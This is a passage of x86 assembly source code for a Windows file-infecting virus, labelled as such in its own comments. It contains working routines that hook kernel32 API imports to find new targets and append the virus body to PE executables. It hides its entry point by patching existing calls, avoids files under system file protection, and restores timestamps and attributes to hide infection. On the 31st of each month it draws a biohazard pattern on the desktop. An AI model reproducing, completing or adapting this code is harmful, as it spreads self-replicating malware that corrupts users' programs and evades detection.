MapViewOfFile endp

;#################################################################
;# Unmap View Of File
;#	In: eax=FileAddr
;#	Out: (eax not zero) Error: eax=00h
;#################################################################
UnmapViewOfFile proc
	push    eax                     ; Push File Addr
	call    [@UnmapViewOfFile+ebp]
	ret
UnmapViewOfFile endp

;#################################################################
;# Close Handle
;#	In: eax=Handle
;#	Out: (eax not zero) Error: eax=00h
;#################################################################
CloseHandle proc
	push    eax                     ; Push Open Handle
	call    [@CloseHandle+ebp]
	ret
CloseHandle endp

;#################################################################
;# Load Sfc Library
;#	In: No Input
;#	Out: No Output
;#################################################################
LoadSfcLibrary proc
	lea     edi,[@SfcN+ebp]         ; Load SfcIsFileProtected api
	push    edi                     ; Can be in sfc.dll or in sfc_os.dll
	call    [@GetModuleHandleA+ebp] ;  so take care using GetProcAddress
	or      eax,eax
	jnz     LoadSfc@1
	push    edi
	call    [@LoadLibraryA+ebp]     ; Load the library
	or      eax,eax
	jz      LoadSfc@2
LoadSfc@1:
	lea     esi,[@SfcIsFileProtectedN+ebp]
	push    esi
	push    eax
	call    [@GetProcAddress+ebp]   ; And get the api address
LoadSfc@2:                              ; If SfcIsFileProtected=NULL then no Sfc present
	mov     [@SfcIsFileProtected+ebp],eax
	ret
LoadSfcLibrary endp

;#################################################################
;# Load New Library
;#	In: edi->LibraryName esi->ApisCrc32Struct
;#	Out: (eax not zero) Error: eax=00h
;#################################################################
LoadNewLibrary proc
	push    edi
	call    [@GetModuleHandleA+ebp] ; Is the Lib in Memory?
	or      eax,eax
	jnz     LoadNew@1
	push    edi                     ; Nop, try to load Lib
	call    [@LoadLibraryA+ebp]
	or      eax,eax                 ; Check if we have the Lib Base
	jz      LoadNew@2
LoadNew@1:
	call    GetAllApiAddress        ; And get the Apis we need!
LoadNew@2:
	ret
LoadNewLibrary endp

;#################################################################
;# Free New Library
;#	In: edi->LibraryName
;#	Out: (eax not zero) Error: eax=00h
;#################################################################
FreeNewLibrary proc
	push    edi
	call    [@GetModuleHandleA+ebp] ; Get the Lib Base in Memory
	or      eax,eax
	jz      FreeNew@1               ; If error, skip
	push    eax
	call    [@FreeLibrary+ebp]      ; And Free our memory space
FreeNew@1:
	ret
FreeNewLibrary endp

;#################################################################
;# Asciiz 2 Unicode
;#	In: esi->FileNameAsciiz edi->Buffer
;#	Out: edi->FileNameUnicode
;#################################################################
Asciiz2Unicode proc
	push    esi edi                 ; We need an Unicode parameter
	xor     eax,eax                 ;  so make a sting change
Asciiz@1:
	lodsb                           ; Pass from byte to word char
	stosw
	or      eax,eax
	jnz     Asciiz@1
	pop     edi esi                 ; Now we have finished
	ret
Asciiz2Unicode endp

;#################################################################
;# Check Sum Mapped File
;#	In: esi->@FileAddr ecx=@FileSize
;#	Out: eax=CheckSumMappedFile Error: eax=00h
;#################################################################
CheckSumMappedFile proc
	push    esi                     ; Save some registers
	push    ebx
	push    ecx
	inc     ecx
	shr     ecx,01h                 ; Is a Revised version of CheckSumMappedFile API
	call    PartialCheckSum         ; Call to make the partial CheckSum
	add     esi,[esi+3Ch]
	mov     bx,ax                   ; We have to make some changes after and...
	xor     edx,edx
	inc     edx
	mov     ecx,edx
	mov     ax,[esi+58h]            ; Get the actual file checksum
	cmp     bx,ax
	adc     ecx,-01h
	sub     bx,cx
	sub     bx,ax
	mov     ax,[esi+5Ah]
	cmp     bx,ax
	adc     edx,-01h
	sub     bx,dx
	sub     bx,ax
	xor     eax,eax
	mov     ax,bx
	pop     ecx
	add     eax,ecx                 ; Here is the CRC File CheckSum in eax
	pop     ebx                     ; Restore register and finish
	pop     esi	
	ret
CheckSumMappedFile endp

;#################################################################
;# Partial Check Sum
;#	In: esi->@FileAddr ecx=@FileSize
;#	Out: eax=CheckSumMappedFile Error: eax=00h
;#################################################################
PartialCheckSum proc
	push    esi                     ; Save register
	xor     eax,eax
	shl     ecx,01h
	je      PartialCheck@0
	test    esi,02h
	je      PartialCheck@1
	movzx   edx,word ptr[esi]       ; This is a version of the CheckSumMappedFile
	add     eax,edx                 ;  API... to make a CRC32 of Infected Files
	adc     eax,00h
	add     esi,02h
	sub     ecx,02h
PartialCheck@1:
	mov     edx,ecx                 ; Only makes the partial Check Sum, used by
	and     edx,07h                 ;  other process that calculate the final
	sub     ecx,edx                 ;  Check Sum of Mapped File
	je      PartialCheck@2
	test    ecx,08h
	je      PartialCheck@3
	add     eax,[esi]
	adc     eax,[esi+04h]
	adc     eax,00h
	add     esi,08h
	sub     ecx,08h
	je      PartialCheck@2
PartialCheck@3:                         ; Iteration 3
	test    ecx,10h
	je      PartialCheck@4
	add     eax,[esi]
	adc     eax,[esi+04h]
	adc     eax,[esi+08h]
	adc     eax,[esi+0Ch]
	adc     eax,00h
	add     esi,10h
	sub     ecx,10h
	je      PartialCheck@2
PartialCheck@4:                         ; Iteration 4
	test    ecx,20h
	je      PartialCheck@5
	add     eax,[esi]
	adc     eax,[esi+04h]
	adc     eax,[esi+08h]
	adc     eax,[esi+0Ch]
	adc     eax,[esi+10h]
	adc     eax,[esi+14h]
	adc     eax,[esi+18h]
	adc     eax,[esi+1Ch]
	adc     eax,00h
	add     esi,20h
	sub     ecx,20h
	je      PartialCheck@2
PartialCheck@5:                         ; Iteration 5
	test    ecx,40h
	je      PartialCheck@6
	add     eax,[esi]
	adc     eax,[esi+04h]
	adc     eax,[esi+08h]
	adc     eax,[esi+0Ch]
	adc     eax,[esi+10h]
	adc     eax,[esi+14h]
	adc     eax,[esi+18h]
	adc     eax,[esi+1Ch]
	adc     eax,[esi+20h]
	adc     eax,[esi+24h]
	adc     eax,[esi+28h]
	adc     eax,[esi+2Ch]
	adc     eax,[esi+30h]
	adc     eax,[esi+34h]
	adc     eax,[esi+38h]
	adc     eax,[esi+3Ch]
	adc     eax,00h
	add     esi,40h
	sub     ecx,40h
	je      PartialCheck@2
PartialCheck@6:                         ; Iteration 6
	add     eax,[esi]
	adc     eax,[esi+04h]
	adc     eax,[esi+08h]
	adc     eax,[esi+0Ch]
	adc     eax,[esi+10h]
	adc     eax,[esi+14h]
	adc     eax,[esi+18h]
	adc     eax,[esi+1Ch]
	adc     eax,[esi+20h]
	adc     eax,[esi+24h]
	adc     eax,[esi+28h]
	adc     eax,[esi+2Ch]
	adc     eax,[esi+30h]
	adc     eax,[esi+34h]
	adc     eax,[esi+38h]
	adc     eax,[esi+3Ch]
	adc     eax,[esi+40h]
	adc     eax,[esi+44h]
	adc     eax,[esi+48h]
	adc     eax,[esi+4Ch]
	adc     eax,[esi+50h]
	adc     eax,[esi+54h]
	adc     eax,[esi+58h]
	adc     eax,[esi+5Ch]
	adc     eax,[esi+60h]
	adc     eax,[esi+64h]
	adc     eax,[esi+68h]
	adc     eax,[esi+6Ch]
	adc     eax,[esi+70h]
	adc     eax,[esi+74h]
	adc     eax,[esi+78h]
	adc     eax,[esi+7Ch]
	adc     eax,00h
	add     esi,80h
	sub     ecx,80h
	jne     PartialCheck@6
PartialCheck@2:
	test    edx,edx
	je      PartialCheck@0
PartialCheck@7:                         ; Iteration 7
	movzx   ecx,word ptr[esi]
	add     eax,ecx
	adc     eax,00h
	add     esi,02h
	sub     edx,02h
	jne     PartialCheck@7
PartialCheck@0:
	mov     edx,eax
	shr     edx,10h
	and     eax,0000FFFFh
	add     eax,edx
	mov     edx,eax
	shr     edx,10h
	add     eax,edx                 ; Make a final logic and
	and     eax,0000FFFFh           ; Get the partial check sum
	pop     esi                     ; Pop registers
	ret
PartialCheckSum endp

;#################################################################
;# Get Delta
;#	In: No Input
;#	Out: ebp=DeltaOffset
;#################################################################
GetDelta proc
	cld
	call    GetDelta@1              ; Just a strange get delta function
GetDelta@2:
	mov     esi,esp                 ; Let's look in Stack the return address
	lodsd
	jmp     GetDelta@3
GetDelta@1:
	xor     eax,eax
	jz      GetDelta@2
GetDelta@3:
	sub     eax,offset GetDelta@2
	mov     ebp,eax                 ; We have the delta offset in ebp
	add     esp,04h
	ret
GetDelta endp

;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
;#################################################################
;# Virus Payload
;#################################################################
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

;#################################################################
;# Payload
;#	In: No Input
;#	Out: No Output
;#################################################################
Payload proc
	lea     eax,[@SystemTime+ebp]
	push    eax                     ; Get the actual date
	call    [@GetSystemTime+ebp]
	or      eax,eax
	jz      Pay@1
	cmp     word ptr[@SystemTime.wDay+ebp],1Fh
	jnz     Pay@1
	lea     edi,[@User32N+ebp]      ; If 31th let's rock!
	lea     esi,[@User32+ebp]       ; Loading some graphic apis
	call    LoadNewLibrary
	or      eax,eax
	jz      Pay@1
	call    RunPayload              ; And launch the graphic payload
	lea     edi,[@User32N+ebp]
	call    FreeNewLibrary          ; Be smart and free the library
Pay@1:
	ret
Payload endp

;#################################################################
;# Run Payload
;#	In: No Input
;#	Out: No Output
;#################################################################
RunPayload proc
	xor     ebx,ebx                 ; First get the resolution of screen
	push    SM_CXSCREEN             ; Get the X width
	call    [@GetSystemMetrics+ebp]
	or      eax,eax
	jz      RunPay@1
	shr     eax,01h                 ; We want the center coords
	mov     [@Xcoord+ebp],eax       ; Get the Y width
	push    SM_CYSCREEN
	call    [@GetSystemMetrics+ebp]
	or      eax,eax
	jz      RunPay@1
	shr     eax,01h
	mov     [@Ycoord+ebp],eax
	push    ebx                     ; Handle of the Main Desktop window
	call    [@GetDC+ebp]
	or      eax,eax
	jz      RunPay@1
	mov     [@DeviceCtx+ebp],eax
	push    IDI_WARNING
	push    ebx
	call    [@LoadIconA+ebp]        ; Loading a Warning Icon
	or      eax,eax
	jz      RunPay@2
	mov     [@HandleIcon+ebp],eax
	call    DrawBioHazard           ; Well... ready for paint!!!
RunPay@2:
	mov     eax,[@DeviceCtx+ebp]
	push    eax                     ; Release the Main Desktop window
	push    ebx
	call    [@ReleaseDC+ebp]
RunPay@1:
	ret
RunPayload endp

;#################################################################
;# Draw Icon
;#	In: esi=Xcoord edi=Ycoord
;#	Out: (eax not zero) Error: eax=00h
;#################################################################
DrawIcon proc
	push    [@HandleIcon+ebp]       ; Handle of warning Icon
	push    edi                     ; Y coord
	push    esi                     ; X coord
	push    [@DeviceCtx+ebp]        ; Device context (Main window)
	call    [@DrawIcon+ebp]         ; Draw an Icon
	ret
DrawIcon endp

;#################################################################
;# Draw Bio Hazard
;#	In: No Input
;#	Out: No Output
;#################################################################
DrawBioHazard proc
	push    ebx
	mov     esi,[@Xcoord+ebp]       ; Save the center coords
	mov     edi,[@Ycoord+ebp]
	mov     ebx,0168h               ; Start with 360º
DrawBio@1:
	push    esi edi
	mov     [@Degrees+ebp],ebx
	fldpi
	fimul   dword ptr[@Degrees+ebp]
	fidiv   dword ptr[@Const+ebp]
	fcos
	fimul   dword ptr[@Radius+ebp]
	frndint
	fistp   dword ptr[@Result+ebp]
	add     esi,[@Result+ebp]       ; Get Radius * cos (Angle)
	fldpi
	fimul   dword ptr[@Degrees+ebp]
	fidiv   dword ptr[@Const+ebp]
	fsin
	fimul   dword ptr[@Radius+ebp]
	frndint
	fistp   dword ptr[@Result+ebp]
	sub     edi,[@Result+ebp]       ; Get Radius * sin (Angle)
	call    DrawIcon                ; And paint please
	sub     edi,70h                 ; We want four circles...
	cmp     ebx,3Ch                 ;  painting at the same time
	jb      DrawOk@1
	cmp     ebx,78h
	ja      DrawOk@1
	jmp     DrawBio@2
DrawOk@1:
	call    DrawIcon                ; Skip some parts and tachan!!!
DrawBio@2:
	sub     esi,61h                 ; We'll have a nice BioHazard picture
	add     edi,0A8h
	cmp     ebx,0B4h
	jb      DrawOk@2
	cmp     ebx,0F0h
	ja      DrawOk@2
	jmp     DrawBio@3
DrawOk@2:
	call    DrawIcon                ; And again the same
DrawBio@3:
	add     esi,0C2h
	cmp     ebx,012Ch
	jb      DrawOk@3
	cmp     ebx,0168h
	ja      DrawOk@3
	jmp     DrawBio@4
DrawOk@3:
	call    DrawIcon
DrawBio@4:
	pop     edi esi
	dec     ebx                     ; Well, another degree less
	jnz     DrawBio@1               ; Go on with the painting
	push    MB_ICONHAND
	call    [@MessageBeep+ebp]      ; Just play a Beep sound... tic, tac
	pop     ebx
	ret
DrawBioHazard endp

;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
;#################################################################
;# Virus Per-Process Residency
;#################################################################
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

;#################################################################
;# Set All Hooks
;#	In: esi->ApisCrc32Struct edi->OffsetsHooksStruct
;#	Out: (eax not zero) Error: eax=00h
;#################################################################
SetAllHooks proc
	push    edi esi
	mov     ebx,[@ImageBase+ebp]
	mov     esi,ebx                 ; Take the Base Addr of Process
	add     esi,[ebx+3Ch]           ; Go to the PE header
	add     esi,80h                 ; And after... to the Import Table
	lodsd
	or      eax,eax                 ; Check if we have Import Table
	jz      SetAll@1
	add     eax,ebx
	mov     ecx,eax
SetAll@2:
	mov     esi,[ecx+0Ch]           ; Looking for Kernel32 import module
	or      esi,esi
	jz      SetAll@1
	add     esi,ebx
	lodsd
	or      eax,20202020h           ; Make LowCase the string
	cmp     eax,'nrek'
	jnz     SetAll@3
	lodsd
	or      eax,20202020h
	cmp     eax,'23le'
	jz      SetAll@4                ; We've the correct module, great!
SetAll@3:
	add     ecx,14h                 ; Ups!... give me another one
	jmp     SetAll@2
SetAll@4:
	mov     esi,[ecx+10h]           ; Go to FirstChunkData
	or      esi,esi                 ; If null go out
	jz      SetAll@1
	add     esi,ebx                 ; Set some register for a big double loop
	mov     ecx,esi
	pop     edi
	pop     ebx
SetAll@9:
	cmp     byte ptr[edi],0EEh      ; The last api to hook?
	jz      SetAll@5                ; If last go out
	mov     edx,[edi+04h]           ; Load the api address
SetAll@8:
	lodsd                           ; Load an address for Import Table
	or      eax,eax                 ; If last go back
	jz      SetAll@6
	cmp     edx,eax                 ; It's equal? yep... fine
	jnz     SetAll@8
	push    ecx
	call    [@GetCurrentProcess+ebp]
	xor     ecx,ecx
	sub     esi,04h                 ; Writing what we want in Import Table
	push    ecx
	push    04h
	mov     ecx,[ebx]
	add     ecx,ebp
	mov     [@Result+ebp],ecx       ; Just set the hooker function
	mov     ecx,esi
	lea     esi,[@Result+ebp]
	push    esi
	push    ecx
	push    eax
	call    [@WriteProcessMemory+ebp]
	pop     ecx
SetAll@6:
	add     edi,08h                 ; Go on with more Apis to hook
	add     ebx,04h
	mov     esi,ecx
	jmp     SetAll@9
SetAll@5:
	xor     eax,eax                 ; Fine... we have no errors
	inc     eax
	ret
SetAll@1:
	xor     eax,eax                 ; Ups... Sth gone wrong
	pop     esi edi
	ret
SetAllHooks endp

;#################################################################
;# Generic Hooks
;#	In: No Input
;#	Out: No Output
;#################################################################

;#################################################################
;# Hook for CreateFileA
;#################################################################
HookCreateFileA proc
	pushad                          ; Save registes
	pushfd
	call    GetDelta                ; Get the correct Delta
	mov     esi,[esp+28h]
	call    HookNewPath             ; Looking for a new path and Find Files
	mov     eax,[@CreateFileA+ebp]
	lea     edi,[@HookJumpA+ebp]    ; Set the next jump to the hooked api
	stosd
	popfd                           ; Pop registers
	popad
	push    20202020h
@HookJumpA      equ     $-4
	ret
HookCreateFileA endp

;#################################################################
;# Hook for MoveFileA
;#################################################################
HookMoveFileA proc
	pushad                          ; Save registes
	pushfd
	call    GetDelta                ; Get the correct Delta
	mov     esi,[esp+28h]
	call    HookNewPath             ; Looking for a new path and Find Files
	mov     eax,[@MoveFileA+ebp]
	lea     edi,[@HookJumpB+ebp]    ; Set the next jump to the hooked api
	stosd
	popfd                           ; Pop registers
	popad
	push    20202020h
@HookJumpB      equ     $-4
	ret
HookMoveFileA endp

;#################################################################
;# Hook for CopyFileA
;#################################################################
HookCopyFileA proc
	pushad                          ; Save registes
	pushfd
	call    GetDelta                ; Get the correct Delta
	mov     esi,[esp+28h]
	call    HookNewPath             ; Looking for a new path and Find Files
	mov     eax,[@CopyFileA+ebp]
	lea     edi,[@HookJumpC+ebp]    ; Set the next jump to the hooked api
	stosd
	popfd                           ; Pop registers
	popad
	push    20202020h
@HookJumpC      equ     $-4
	ret
HookCopyFileA endp

;#################################################################
;# Hook for CreateProcessA
;#################################################################
HookCreateProcessA proc
	pushad                          ; Save registes
	pushfd
	call    GetDelta                ; Get the correct Delta
	mov     esi,[esp+28h]
	call    HookNewPath             ; Looking for a new path and Find Files
	mov     eax,[@CreateProcessA+ebp]
	lea     edi,[@HookJumpD+ebp]    ; Set the next jump to the hooked api
	stosd
	popfd                           ; Pop registers
	popad
	push    20202020h
@HookJumpD      equ     $-4
	ret
HookCreateProcessA endp

;#################################################################
;# Hook for SetFileAttributesA
;#################################################################
HookSetFileAttributesA proc
	pushad                          ; Save registes
	pushfd
	call    GetDelta                ; Get the correct Delta
	mov     esi,[esp+28h]
	call    HookNewPath             ; Looking for a new path and Find Files
	mov     eax,[@SetFileAttributesA+ebp]
	lea     edi,[@HookJumpE+ebp]    ; Set the next jump to the hooked api
	stosd
	popfd                           ; Pop registers
	popad
	push    20202020h
@HookJumpE      equ     $-4
	ret
HookSetFileAttributesA endp

;#################################################################
;# Hook for GetFileAttributesA
;#################################################################
HookGetFileAttributesA proc
	pushad                          ; Save registes
	pushfd
	call    GetDelta                ; Get the correct Delta
	mov     esi,[esp+28h]
	call    HookNewPath             ; Looking for a new path and Find Files
	mov     eax,[@GetFileAttributesA+ebp]
	lea     edi,[@HookJumpF+ebp]    ; Set the next jump to the hooked api
	stosd
	popfd                           ; Pop registers
	popad
	push    20202020h
@HookJumpF      equ     $-4
	ret
HookGetFileAttributesA endp

;#################################################################
;# Hook for SearchPathA
;#################################################################
HookSearchPathA proc
	pushad                          ; Save registes
	pushfd
	call    GetDelta                ; Get the correct Delta
	mov     esi,[esp+28h]
	call    HookNewPath             ; Looking for a new path and Find Files
	mov     eax,[@SearchPathA+ebp]
	lea     edi,[@HookJumpG+ebp]    ; Set the next jump to the hooked api
	stosd
	popfd                           ; Pop registers
	popad
	push    20202020h
@HookJumpG      equ     $-4
	ret
HookSearchPathA endp

;#################################################################
;# Hook New Path
;#	In: esi->StringWithPath
;#	Out: (eax not zero) Error: eax=00h
;#################################################################
HookNewPath proc
	call    GetPath                 ; Just give a new path
	or      eax,eax                 ; If not correct path... skip it
	jz      HookNew@1
	lea     esi,[@PathOne+ebp]
	push    esi                     ; Get the actual Dir
	push    MAX_PATH
	call    [@GetCurrentDirectoryA+ebp]
	or      eax,eax
	jz      HookNew@1
	lea     esi,[@PathTwo+ebp]      ; Change to the new path
	push    esi
	call    [@SetCurrentDirectoryA+ebp]
	or      eax,eax
	jz      HookNew@1
	call    LoadSfcLibrary          ; Check if Sfc is present and load it
	mov     edi,05h
	call    FindDirectory           ; And find more new files
	mov     eax,[@SfcIsFileProtected+ebp]
	or      eax,eax
	jz      HookNew@2
	lea     edi,[@SfcN+ebp]         ; Free the Sfc library
	call    FreeNewLibrary
HookNew@2:
	lea     esi,[@PathOne+ebp]      ; Well, time to come back to the old dir
	push    esi
	call    [@SetCurrentDirectoryA+ebp]
HookNew@1:
	ret
HookNewPath endp

;#################################################################
;# Get Path
;#	In: esi->StringWithPath
;#	Out: (eax not zero) Error: eax=00h
;#################################################################
GetPath proc
	or      esi,esi                 ; Check the null pointer
	jz      GetPath@2
	mov     edi,esi                 ; Get the String long
	call    GetStringLong
	mov     ecx,eax
	lea     edi,[@PathTwo+ebp]
	push    eax                     ; Set some registers and copy
	push    edi                     ;  the new path string to a buffer
	cld
	rep     movsb
	pop     edi
	pop     ecx
	add     edi,ecx
GetPath@1:
	dec     edi                     ; Looking for a \ in String
	dec     eax
	jz      GetPath@2
	cmp     byte ptr[edi],'\'
	jnz     GetPath@1
	mov     ax,'\'                  ; If found patch it with final zero
	stosw
	ret                             ; Finish without error
GetPath@2:
	xor     eax,eax                 ; Oh... :( an error
	ret
GetPath endp

;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
;#################################################################
;# Virus Core Functions
;#################################################################
;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

;#################################################################
;# Create Clean Copy
;#	In: No Input
;#	Out: (eax not zero) Error: eax=00h
;#################################################################
CreateCleanCopy proc
	push    edi esi edx             ; Save register
	push    @VirusBodySize
	push    GPTR
	call    [@GlobalAlloc+ebp]      ; Get some memory free space
	or      eax,eax
	jz      CreateClean@1
	mov     [@VirusBuffer+ebp],eax
	mov     edi,eax
	lea     esi,[@VirusBodyBegin+ebp]
	mov     ecx,@VirusBodySize
	cld
	rep     movsb                   ; Move our virus body to memory reserved
	xor     eax,eax
	inc     eax
CreateClean@1:
	pop     edx esi edi             ; If not memory skip it now!
	ret
CreateCleanCopy endp

;#################################################################
;# Delete Clean Copy
;#	In: No Input
;#	Out: (eax zero) Error: eax not zero
;#################################################################
DeleteCleanCopy proc
	push    [@VirusBuffer+ebp]      ; Just free the allocated memory
	call    [@GlobalFree+ebp]
	ret
DeleteCleanCopy endp

;#################################################################
;# Infect File
;#	In: @FindData @FileHandle
;#	Out: eax=01h Error: eax=00h
;#################################################################
InfectFile proc
	push    ebx edi
	mov     eax,[@FindData.WFD_nFileSizeLow+ebp]
	add     eax,@VirusSize
	mov     ecx,[@AlignFactor+ebp]
	call    Align                   ; Get the new host size
	mov     ecx,75h
	call    Align                   ; And add a size padding
	mov     [@NewHostSize+ebp],eax  ; Save the final aligned size
	mov     edi,eax
	mov     eax,[@OpenHandle+ebp]
	xor     esi,esi
	call    FileMapping             ; Make a map of file
	or      eax,eax
	jz      Infect@1
	mov     [@MapHandle+ebp],eax
	call    MapViewOfFile           ; And map it into memory
	or      eax,eax
	jz      Infect@2
	mov     [@FileAddr+ebp],eax
	call    DoInfectStuff           ; Time to infect file
	or      eax,eax
	jz      Infect@3                ; If error, trunc file and go out
	mov     eax,[@FileAddr+ebp]
	call    UnmapViewOfFile         ; Unmap file from memory
	mov     eax,[@MapHandle+ebp]
	call    CloseHandle             ; Close map
	mov     ebx,[@NewHostSize+ebp]
	call    TruncFile               ; Trunc file to the new size
	lea     eax,[@FindData.WFD_ftLastWriteTime+ebp]
	push    eax
	sub     eax,08h                 ; Recover the old file time
	push    eax
	sub     eax,08h
	push    eax
	push    [@OpenHandle+ebp]
	call    [@SetFileTime+ebp]
	mov     eax,[@OpenHandle+ebp]   ; Close file
	call    CloseHandle
	mov     eax,[@FindData.WFD_dwFileAttributes+ebp]
	push    eax                     ; Recover the old file attributes
	lea     esi,[@FindData.WFD_szFileName+ebp]
	push    esi
	call    [@SetFileAttributesA+ebp]
	xor     eax,eax
	inc     eax                     ; Fine! we have infected one file
	pop     edi ebx
	ret
Infect@3:
	mov     eax,[@FileAddr+ebp]     ; Ups! error... be smart and unmap file
	call    UnmapViewOfFile
Infect@2:
	mov     eax,[@MapHandle+ebp]    ; Close map of file
	call    CloseHandle
	mov     ebx,[@NewHostSize+ebp]
	call    TruncFile               ; Trunc file to the old file size
Infect@1:
	lea     eax,[@FindData.WFD_ftLastWriteTime+ebp]
	push    eax
	sub     eax,08h
	push    eax                     ; Set file time
	sub     eax,08h
	push    eax
	push    [@OpenHandle+ebp]
	call    [@SetFileTime+ebp]
	mov     eax,[@OpenHandle+ebp]   ; Close file handle
	call    CloseHandle
	mov     eax,[@FindData.WFD_dwFileAttributes+ebp]
	push    eax                     ; Recover the old file attributes
	lea     esi,[@FindData.WFD_szFileName+ebp]
	push    esi
	call    [@SetFileAttributesA+ebp]
	xor     eax,eax                 ; Error... try again
	pop     edi ebx
	ret
InfectFile endp

;#################################################################
;# Patch Virus Entry Point
;#	In: No Input
;#	Out: No Output
;#################################################################
PatchVirusEntryPoint proc
	lea     edi,[@ReturnHost+ebp]   ; Let's change virus entry point
	mov     eax,[@DefaultVirusBegin+ebp]
	stosd
	mov     edi,eax
	mov     ebx,[@CallType+ebp]
	or      ebx,ebx
	jz      PatchVirus@1
	mov     eax,0FFh                ; If masm call insert "inc [esp]"
	stosb
	mov     eax,2404h
	stosw
PatchVirus@1:
	mov     eax,25FFh               ; Insert jmp [@offset api]
	stosw
	mov     eax,[@EpoCall+ebp]
	stosd	
	ret
PatchVirusEntryPoint endp

;#################################################################
;# Do Epo Stuff
;#	In: ebx=@FileAddr
;#	Out: eax=01h Error: eax=00h
;#################################################################
DoEpoStuff proc
	pushad
	call    SetEpoSeh
	mov     esp,[esp+08h]
	jmp     ResetEpoSeh             ; Set Seh in Epo process
SetEpoSeh:                              ;  cos we need handle page faults
	xor     eax,eax
	push    dword ptr fs:[eax]
	mov     fs:[eax],esp
	mov     esi,[ebx+3Ch]
	mov     edi,ebx                 ; Save the FileAddr in ebx
	add     edi,esi
	mov     esi,edi
	add     esi,78h                 ; Go to the image section headers
	mov     eax,[edi+74h]
	shl     eax,03h
	add     esi,eax
	movzx   ecx,word ptr[edi+06h]   ; Take the number of sections
	mov     edx,[edi+28h]           ; Take the entry point of host
DoEpo@1:
	mov     eax,[esi+0Ch]
	cmp     edx,eax
	jc      DoEpo@2
	add     eax,[esi+08h]           ; Iteratate till we have the code
	cmp     edx,eax                 ;  section (using the entry point)
	jc      DoEpo@3
DoEpo@2:
	add     esi,28h                 ; Try with other section
	loop    DoEpo@1
	jmp     ResetEpoSeh             ; No code section... ups! go out
DoEpo@3:
	sub     edx,[esi+0Ch]
	mov     ecx,[esi+10h]
	sub     ecx,edx                 ; Set in ecx a counter of bytes
	jc      ResetEpoSeh
	add     edx,[esi+14h]
	add     edx,ebx                 ; Make edx point to the code section
	push    esi
	mov     esi,edx
	xor     eax,eax
	mov     [@PatchOffset+ebp],eax  ; Make offset zero at start
DoEpo@4:
	lodsw
	cmp     ax,15FFh                ; Is a Masm generated call?
	jz      CheckMasm
	cmp     al,0E8h                 ; Is a Tasm generated call?
	jz      CheckTasm
	dec     esi
	loop    DoEpo@4                 ; Go on and check it all till the end
	jmp     DoEpoError@1            ; No calls found...error
CheckMasm:
	lodsd                           ; Take the offset next to call
	call    IsImportTable           ;  and check if points to the Imports
	or      eax,eax
	jnz     PatchMasm               ; Great!... patch it now
	sub     esi,05h
	jmp     DoEpo@4                 ; Nop, go on
CheckTasm:
	dec     esi
	lodsd                           ; Take the relative next to call
	push    esi
	add     esi,eax
	call    IsCodeSection           ; Is in code section?
	or      eax,eax
	jz      CheckTasmError
	lodsw
	cmp     ax,25FFh                ; Is a jump?
	jz      PatchTasm               ; Fine!... go and patch it
CheckTasmError:
	pop     esi
	sub     esi,04h
	jmp     DoEpo@4                 ; Nop, try again
PatchMasm:
	mov     [@OldEpoCall+ebp],eax   ; Save the offset of call
	sub     esi,06h
	mov     [@PatchOffset+ebp],esi
	xor     eax,eax
	inc     eax
	mov     [@OldCallType+ebp],eax
	call    GetRandom
	test    eax,01h                 ; Get a random number and
	jz      MakePatch               ;  randomize the patch offset
	inc     esi
	jmp     DoEpo@4
PatchTasm:
	lodsd
	mov     [@OldEpoCall+ebp],eax   ; Save the offset of call
	pop     esi
	sub     esi,05h
	mov     [@PatchOffset+ebp],esi
	xor     eax,eax
	mov     [@OldCallType+ebp],eax
	call    GetRandom               ; Get a random number and
	test    eax,01h                 ;  randomize the patch offset
	jz      MakePatch
	inc     esi
	jmp     DoEpo@4
MakePatch:
	call    PatchCodeSection        ; Patch the instruction with a call to virus
	pop     esi
	xor     eax,eax
	pop     dword ptr fs:[eax]      ; Reset the Epo Seh
	pop     eax
	popad
	xor     eax,eax
	inc     eax
	ret                             ; Bye!!!
DoEpoError@1:
	mov     esi,[@PatchOffset+ebp]  ; Check if we have found an offset
	or      esi,esi
	jnz     MakePatch               ; Yep... go and patch it!
	pop     esi                     ; Ups... error, pop registers and skip
ResetEpoSeh:
	xor     eax,eax
	pop     dword ptr fs:[eax]      ; Reset the Epo Seh... we made a page fault
	pop     eax
	popad
	xor     eax,eax
	ret
DoEpoStuff endp

;#################################################################
;# Is Code Section
;#	In: esi->File Section
;#	Out: eax=01h Error: eax=00h
;#################################################################
IsCodeSection proc
	push    edi ecx
	mov     edi,[esp+10h]           ; Look in stack for section pointer
	mov     ecx,[edi+14h]
	add     ecx,ebx
	cmp     esi,ecx                 ; Check if esi is inside code section
	jc      IsCode@1
	add     ecx,[edi+10h]
	cmp     esi,ecx
	jnc     IsCode@1
	xor     eax,eax                 ; Ok, no problem... go on
	inc     eax
	pop     ecx edi
	ret
IsCode@1:
	xor     eax,eax                 ; Agh... try again
	pop     ecx edi
	ret
IsCodeSection endp

;#################################################################
;# Is Import Table
;#	In: eax=offset in File
;#	Out: (eax not zero) Error: eax=00h
;#################################################################
IsImportTable proc
	pushad                          ; Save registers
	mov     edi,ebx
	mov     edx,eax
	add     edi,[ebx+3Ch]           ; Go to PE header
	mov     esi,edi
	add     esi,78h
	mov     eax,[edi+74h]
	shl     eax,03h
	add     esi,eax                 ; Go to the section headers
	movzx   ecx,word ptr[edi+06h]
	sub     edx,[edi+34h]           ; Make rva address
	push    edx
	mov     edx,[edi+80h]           ; Get the imports rva
	or      edx,edx
	jz      IsImport@4
IsImport@1:
	mov     eax,[esi+0Ch]           ; Loop till get the import section
	cmp     edx,eax
	jc      IsImport@2
	add     eax,[esi+08h]
	cmp     edx,eax
	jc      IsImport@3
IsImport@2:
	add     esi,28h                 ; Try with other section header
	loop    IsImport@1
	jmp     IsImport@4              ; No more sections? ups...
IsImport@3:
	pop     edx
	cmp     edx,eax                 ; Look if our rva points inside
	jnc     IsImport@5              ;  the import section
